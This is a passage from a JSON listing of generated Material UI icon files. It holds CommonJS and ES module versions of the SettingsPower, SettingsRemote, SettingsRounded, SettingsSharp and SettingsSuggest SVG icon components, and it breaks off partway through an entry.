    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm2-22h-2v10h2zm3.56 2.44-1.45 1.45C16.84 6.94 18 8.83 18 11c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2.17 1.16-4.06 2.88-5.12L7.44 4.44C5.36 5.88 4 8.28 4 11c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.72-1.36-5.12-3.44-6.56M15 24h2v-2h-2z\"\n}), 'SettingsPower');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPower.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm2-22h-2v10h2zm3.56 2.44-1.45 1.45C16.84 6.94 18 8.83 18 11c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2.17 1.16-4.06 2.88-5.12L7.44 4.44C5.36 5.88 4 8.28 4 11c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.72-1.36-5.12-3.44-6.56M15 24h2v-2h-2z\"\n}), 'SettingsPower');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPowerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm2-22h-2v10h2zm3.56 2.44-1.45 1.45C16.84 6.94 18 8.83 18 11c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2.17 1.16-4.06 2.88-5.12L7.44 4.44C5.36 5.88 4 8.28 4 11c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.72-1.36-5.12-3.44-6.56M15 24h2v-2h-2z\"\n}), 'SettingsPowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPowerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm2-22h-2v10h2zm3.56 2.44-1.45 1.45C16.84 6.94 18 8.83 18 11c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2.17 1.16-4.06 2.88-5.12L7.44 4.44C5.36 5.88 4 8.28 4 11c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.72-1.36-5.12-3.44-6.56M15 24h2v-2h-2z\"\n}), 'SettingsPowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPowerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-22c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1s1-.45 1-1V3c0-.55-.45-1-1-1m3.94 3.06-.02.02c-.41.41-.36 1.08.08 1.46 1.51 1.34 2.33 3.43 1.88 5.7-.46 2.28-2.29 4.14-4.56 4.62C9.43 17.69 6 14.74 6 11c0-1.78.78-3.37 2.01-4.47.43-.39.47-1.04.07-1.45l-.02-.02c-.37-.37-.96-.39-1.36-.04-2.01 1.77-3.12 4.53-2.56 7.52.59 3.15 3.11 5.7 6.26 6.31 5.12.99 9.6-2.9 9.6-7.85 0-2.38-1.05-4.52-2.71-5.99-.39-.34-.98-.32-1.35.05M16 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'SettingsPowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPowerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-22c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1s1-.45 1-1V3c0-.55-.45-1-1-1m3.94 3.06-.02.02c-.41.41-.36 1.08.08 1.46 1.51 1.34 2.33 3.43 1.88 5.7-.46 2.28-2.29 4.14-4.56 4.62C9.43 17.69 6 14.74 6 11c0-1.78.78-3.37 2.01-4.47.43-.39.47-1.04.07-1.45l-.02-.02c-.37-.37-.96-.39-1.36-.04-2.01 1.77-3.12 4.53-2.56 7.52.59 3.15 3.11 5.7 6.26 6.31 5.12.99 9.6-2.9 9.6-7.85 0-2.38-1.05-4.52-2.71-5.99-.39-.34-.98-.32-1.35.05M16 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'SettingsPowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPowerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm2-22h-2v10h2zm3.56 2.44-1.45 1.45C16.84 6.94 18 8.83 18 11c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2.17 1.16-4.06 2.88-5.12L7.44 4.44C5.36 5.88 4 8.28 4 11c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.72-1.36-5.12-3.44-6.56M15 24h2v-2h-2z\"\n}), 'SettingsPowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPowerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm2-22h-2v10h2zm3.56 2.44-1.45 1.45C16.84 6.94 18 8.83 18 11c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2.17 1.16-4.06 2.88-5.12L7.44 4.44C5.36 5.88 4 8.28 4 11c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.72-1.36-5.12-3.44-6.56M15 24h2v-2h-2z\"\n}), 'SettingsPowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPowerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm2-22h-2v10h2zm3.56 2.44-1.45 1.45C16.84 6.94 18 8.83 18 11c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2.17 1.16-4.06 2.88-5.12L7.44 4.44C5.36 5.88 4 8.28 4 11c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.72-1.36-5.12-3.44-6.56M15 24h2v-2h-2z\"\n}), 'SettingsPowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsPowerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm2-22h-2v10h2zm3.56 2.44-1.45 1.45C16.84 6.94 18 8.83 18 11c0 3.31-2.69 6-6 6s-6-2.69-6-6c0-2.17 1.16-4.06 2.88-5.12L7.44 4.44C5.36 5.88 4 8.28 4 11c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.72-1.36-5.12-3.44-6.56M15 24h2v-2h-2z\"\n}), 'SettingsPowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemote.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9H9c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-3 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M7.05 6.05l1.41 1.41C9.37 6.56 10.62 6 12 6s2.63.56 3.54 1.46l1.41-1.41C15.68 4.78 13.93 4 12 4s-3.68.78-4.95 2.05M12 0C8.96 0 6.21 1.23 4.22 3.22l1.41 1.41C7.26 3.01 9.51 2 12 2s4.74 1.01 6.36 2.64l1.41-1.41C17.79 1.23 15.04 0 12 0\"\n}), 'SettingsRemote');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemote.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9H9c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-3 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M7.05 6.05l1.41 1.41C9.37 6.56 10.62 6 12 6s2.63.56 3.54 1.46l1.41-1.41C15.68 4.78 13.93 4 12 4s-3.68.78-4.95 2.05M12 0C8.96 0 6.21 1.23 4.22 3.22l1.41 1.41C7.26 3.01 9.51 2 12 2s4.74 1.01 6.36 2.64l1.41-1.41C17.79 1.23 15.04 0 12 0\"\n}), 'SettingsRemote');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemoteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9H9c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-1 12h-4V11h4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7.05 6.05 1.41 1.41C9.37 6.56 10.62 6 12 6s2.63.56 3.54 1.46l1.41-1.41C15.68 4.78 13.93 4 12 4s-3.68.78-4.95 2.05M12 0C8.96 0 6.21 1.23 4.22 3.22l1.41 1.41C7.26 3.01 9.51 2 12 2s4.74 1.01 6.36 2.64l1.41-1.41C17.79 1.23 15.04 0 12 0\"\n}, \"2\")], 'SettingsRemoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemoteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9H9c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-1 12h-4V11h4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m7.05 6.05 1.41 1.41C9.37 6.56 10.62 6 12 6s2.63.56 3.54 1.46l1.41-1.41C15.68 4.78 13.93 4 12 4s-3.68.78-4.95 2.05M12 0C8.96 0 6.21 1.23 4.22 3.22l1.41 1.41C7.26 3.01 9.51 2 12 2s4.74 1.01 6.36 2.64l1.41-1.41C17.79 1.23 15.04 0 12 0\"\n}, \"2\")], 'SettingsRemoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemoteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9H9c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-3 5.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M7.82 6.82c.35.35.9.38 1.3.1C9.93 6.34 10.93 6 12 6s2.07.34 2.88.91c.4.28.95.26 1.3-.09.43-.43.39-1.15-.09-1.5C14.94 4.49 13.53 4 12 4s-2.94.49-4.09 1.32c-.49.35-.52 1.07-.09 1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 0C9.36 0 6.94.93 5.05 2.47c-.46.38-.5 1.07-.08 1.49.36.36.93.39 1.32.07C7.84 2.77 9.83 2 12 2s4.16.77 5.7 2.04c.39.32.96.29 1.32-.07.42-.42.38-1.11-.08-1.49C17.06.93 14.64 0 12 0\"\n}, \"1\")], 'SettingsRemoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemoteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9H9c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-3 5.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M7.82 6.82c.35.35.9.38 1.3.1C9.93 6.34 10.93 6 12 6s2.07.34 2.88.91c.4.28.95.26 1.3-.09.43-.43.39-1.15-.09-1.5C14.94 4.49 13.53 4 12 4s-2.94.49-4.09 1.32c-.49.35-.52 1.07-.09 1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 0C9.36 0 6.94.93 5.05 2.47c-.46.38-.5 1.07-.08 1.49.36.36.93.39 1.32.07C7.84 2.77 9.83 2 12 2s4.16.77 5.7 2.04c.39.32.96.29 1.32-.07.42-.42.38-1.11-.08-1.49C17.06.93 14.64 0 12 0\"\n}, \"1\")], 'SettingsRemoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemoteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 9H8v14h8zm-4 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M7.05 6.05l1.41 1.41C9.37 6.56 10.62 6 12 6s2.63.56 3.54 1.46l1.41-1.41C15.68 4.78 13.93 4 12 4s-3.68.78-4.95 2.05M12 0C8.96 0 6.21 1.23 4.22 3.22l1.41 1.41C7.26 3.01 9.51 2 12 2s4.74 1.01 6.36 2.64l1.41-1.41C17.79 1.23 15.04 0 12 0\"\n}), 'SettingsRemoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemoteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 9H8v14h8zm-4 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M7.05 6.05l1.41 1.41C9.37 6.56 10.62 6 12 6s2.63.56 3.54 1.46l1.41-1.41C15.68 4.78 13.93 4 12 4s-3.68.78-4.95 2.05M12 0C8.96 0 6.21 1.23 4.22 3.22l1.41 1.41C7.26 3.01 9.51 2 12 2s4.74 1.01 6.36 2.64l1.41-1.41C17.79 1.23 15.04 0 12 0\"\n}), 'SettingsRemoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemoteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 21h4V11h-4zm2-9c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9H9c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-1 12h-4V11h4z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7.05 6.05 1.41 1.41C9.37 6.56 10.62 6 12 6s2.63.56 3.54 1.46l1.41-1.41C15.68 4.78 13.93 4 12 4s-3.68.78-4.95 2.05M12 0C8.96 0 6.21 1.23 4.22 3.22l1.41 1.41C7.26 3.01 9.51 2 12 2s4.74 1.01 6.36 2.64l1.41-1.41C17.79 1.23 15.04 0 12 0\"\n}, \"3\")], 'SettingsRemoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRemoteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 21h4V11h-4zm2-9c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9H9c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-1 12h-4V11h4z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m7.05 6.05 1.41 1.41C9.37 6.56 10.62 6 12 6s2.63.56 3.54 1.46l1.41-1.41C15.68 4.78 13.93 4 12 4s-3.68.78-4.95 2.05M12 0C8.96 0 6.21 1.23 4.22 3.22l1.41 1.41C7.26 3.01 9.51 2 12 2s4.74 1.01 6.36 2.64l1.41-1.41C17.79 1.23 15.04 0 12 0\"\n}, \"3\")], 'SettingsRemoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 12c0-.23-.01-.45-.03-.68l1.86-1.41c.4-.3.51-.86.26-1.3l-1.87-3.23c-.25-.44-.79-.62-1.25-.42l-2.15.91c-.37-.26-.76-.49-1.17-.68l-.29-2.31c-.06-.5-.49-.88-.99-.88h-3.73c-.51 0-.94.38-1 .88l-.29 2.31c-.41.19-.8.42-1.17.68l-2.15-.91c-.46-.2-1-.02-1.25.42L2.41 8.62c-.25.44-.14.99.26 1.3l1.86 1.41c-.02.22-.03.44-.03.67s.01.45.03.68l-1.86 1.41c-.4.3-.51.86-.26 1.3l1.87 3.23c.25.44.79.62 1.25.42l2.15-.91c.37.26.76.49 1.17.68l.29 2.31c.06.5.49.88.99.88h3.73c.5 0 .93-.38.99-.88l.29-2.31c.41-.19.8-.42 1.17-.68l2.15.91c.46.2 1 .02 1.25-.42l1.87-3.23c.25-.44.14-.99-.26-1.3l-1.86-1.41c.03-.23.04-.45.04-.68m-7.46 3.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'SettingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 12c0-.23-.01-.45-.03-.68l1.86-1.41c.4-.3.51-.86.26-1.3l-1.87-3.23c-.25-.44-.79-.62-1.25-.42l-2.15.91c-.37-.26-.76-.49-1.17-.68l-.29-2.31c-.06-.5-.49-.88-.99-.88h-3.73c-.51 0-.94.38-1 .88l-.29 2.31c-.41.19-.8.42-1.17.68l-2.15-.91c-.46-.2-1-.02-1.25.42L2.41 8.62c-.25.44-.14.99.26 1.3l1.86 1.41c-.02.22-.03.44-.03.67s.01.45.03.68l-1.86 1.41c-.4.3-.51.86-.26 1.3l1.87 3.23c.25.44.79.62 1.25.42l2.15-.91c.37.26.76.49 1.17.68l.29 2.31c.06.5.49.88.99.88h3.73c.5 0 .93-.38.99-.88l.29-2.31c.41-.19.8-.42 1.17-.68l2.15.91c.46.2 1 .02 1.25-.42l1.87-3.23c.25-.44.14-.99-.26-1.3l-1.86-1.41c.03-.23.04-.45.04-.68m-7.46 3.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'SettingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.44 12.99-.01.02c.04-.33.08-.67.08-1.01s-.03-.66-.07-.99l.01.02 2.44-1.92-2.43-4.22-2.87 1.16.01.01c-.52-.4-1.09-.74-1.71-1h.01L14.44 2H9.57l-.44 3.07h.01c-.62.26-1.19.6-1.71 1l.01-.01-2.88-1.17-2.44 4.22 2.44 1.92.01-.02c-.04.33-.07.65-.07.99s.03.68.08 1.01l-.01-.02-2.1 1.65-.33.26 2.43 4.2 2.88-1.15-.02-.04c.53.41 1.1.75 1.73 1.01h-.03L9.58 22h4.85s.03-.18.06-.42l.38-2.65h-.01c.62-.26 1.2-.6 1.73-1.01l-.02.04 2.88 1.15 2.43-4.2s-.14-.12-.33-.26zM12 15.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'SettingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.44 12.99-.01.02c.04-.33.08-.67.08-1.01s-.03-.66-.07-.99l.01.02 2.44-1.92-2.43-4.22-2.87 1.16.01.01c-.52-.4-1.09-.74-1.71-1h.01L14.44 2H9.57l-.44 3.07h.01c-.62.26-1.19.6-1.71 1l.01-.01-2.88-1.17-2.44 4.22 2.44 1.92.01-.02c-.04.33-.07.65-.07.99s.03.68.08 1.01l-.01-.02-2.1 1.65-.33.26 2.43 4.2 2.88-1.15-.02-.04c.53.41 1.1.75 1.73 1.01h-.03L9.58 22h4.85s.03-.18.06-.42l.38-2.65h-.01c.62-.26 1.2-.6 1.73-1.01l-.02.04 2.88 1.15 2.43-4.2s-.14-.12-.33-.26zM12 15.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'SettingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggest.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.41 6.59 15 5.5l2.41-1.09L18.5 2l1.09 2.41L22 5.5l-2.41 1.09L18.5 9zm3.87 6.13L20.5 11l-.78 1.72-1.72.78 1.72.78.78 1.72.78-1.72L23 13.5zm-5.04 1.65 1.94 1.47-2.5 4.33-2.24-.94c-.2.13-.42.26-.64.37l-.3 2.4h-5l-.3-2.41c-.22-.11-.43-.23-.64-.37l-2.24.94-2.5-4.33 1.94-1.47c-.01-.11-.01-.24-.01-.36s0-.25.01-.37l-1.94-1.47 2.5-4.33 2.24.94c.2-.13.42-.26.64-.37L7.5 6h5l.3 2.41c.22.11.43.23.64.37l2.24-.94 2.5 4.33-1.94 1.47c.01.12.01.24.01.37s0 .24-.01.36M13 14c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3\"\n}), 'SettingsSuggest');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsSuggest.mjs",
